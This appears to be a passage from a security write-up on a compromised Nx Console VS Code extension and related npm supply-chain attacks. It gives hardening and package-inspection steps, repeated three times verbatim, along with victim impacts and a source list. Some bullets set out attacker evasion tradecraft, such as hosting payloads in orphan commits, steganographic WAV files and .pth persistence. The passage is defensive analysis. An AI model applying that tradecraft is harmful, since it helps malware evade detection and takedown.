# Or in settings.json: "extensions.autoUpdate": false # Consider extension allowlisting via policy # For orgs: use VS Code for the Web or GitHub Codespaces # where extensions run in isolated containers # VS Code: Disable auto-update for extensions # Settings → Extensions → Auto Update = false # Or in settings.json: "extensions.autoUpdate": false # Consider extension allowlisting via policy # For orgs: use VS Code for the Web or GitHub Codespaces # where extensions run in isolated containers # VS Code: Disable auto-update for extensions # Settings → Extensions → Auto Update = false # Or in settings.json: "extensions.autoUpdate": false # Consider extension allowlisting via policy # For orgs: use VS Code for the Web or GitHub Codespaces # where extensions run in isolated containers # Before installing any package, check: # 1. When was this version published? npm view [package]@[version] time --json # 2. Does the publish timestamp match a release commit? # Compare npm publish time vs GitHub release time # Discrepancy = potential supply chain tampering # 3. Verify package integrity npm audit --audit-level=critical npm pack [package] && tar -tzf [package]-[version].tgz | grep -E "\.sh$|postinstall" # 4. Check for unexpected postinstall scripts npm view [package] scripts --json | grep -E "postinstall|preinstall|install" # Before installing any package, check: # 1. When was this version published? npm view [package]@[version] time --json # 2. Does the publish timestamp match a release commit? # Compare npm publish time vs GitHub release time # Discrepancy = potential supply chain tampering # 3. Verify package integrity npm audit --audit-level=critical npm pack [package] && tar -tzf [package]-[version].tgz | grep -E "\.sh$|postinstall" # 4. Check for unexpected postinstall scripts npm view [package] scripts --json | grep -E "postinstall|preinstall|install" # Before installing any package, check: # 1. When was this version published? npm view [package]@[version] time --json # 2. Does the publish timestamp match a release commit? # Compare npm publish time vs GitHub release time # Discrepancy = potential supply chain tampering # 3. Verify package integrity npm audit --audit-level=critical npm pack [package] && tar -tzf [package]-[version].tgz | grep -E "\.sh$|postinstall" # 4. Check for unexpected postinstall scripts npm view [package] scripts --json | grep -E "postinstall|preinstall|install" - Payloads skip systems with Russian locale (LANG=ru_RU) — Eastern European cybercrime tradecraft - RSA public key reuse across campaigns (Wiz's high-confidence attribution signal) - Shared cipher salt and dead-drop string lineage across malware families - Prefer orphan commits in official repos as payload hosting to evade takedowns - Use steganography (WAV audio files) and .pth persistence for evasion - OpenAI: 2 employee devices compromised, internal repos accessed, code-signing certificates rotated - Mistral AI: 1 developer device, $25,000 extortion demand, claimed 5GB source code - An employee ran an auto-updated VS Code extension on a device with access to 3,800 internal repos. The blast radius of a single developer endpoint should never be that large. - No apparent extension allowlisting. The malicious version was on the Marketplace for 18 minutes. With allowlisting + minimum-age policies, this installs nothing. - GitHub still hasn't formally named the extension. This is a transparency problem. The security community identified Nx Console v18.95.0 through independent analysis. Official confirmation matters for incident response across the 2.2M install base. - Explicit npm token scoping (publish only to specific packages) - Extension allowlisting that blocked unapproved versions - GitHub Actions with least-privilege permissions from the start - Developer environments isolated from production credential access - Minimum-age policies on package installs (block anything published < 48h ago) - OX Security: TeamPCP Strikes Again — Nx Console Technical Analysis - OX Security: TeamPCP's Telnyx Windows Malware Deep Analysis - Wiz: Mini Shai-Hulud — TanStack Compromise - StepSecurity: Nx Console Compromise Analysis - StepSecurity: Mini Shai-Hulud Self-Spreading Analysis - Akamai: Mini Shai-Hulud Returns and Goes Public - Phoenix Security: Sha1-Hulud Full Technical Dissection - Palo Alto Unit 42: npm Threat Landscape (Updated May 2026) - CISA KEV: CVE-2026-33634 - GitHub Security Advisory: Nx Console - Hackread: GitHub Breach — TeamPCP Confirmation - Sophos: GitHub Internal Repositories Breached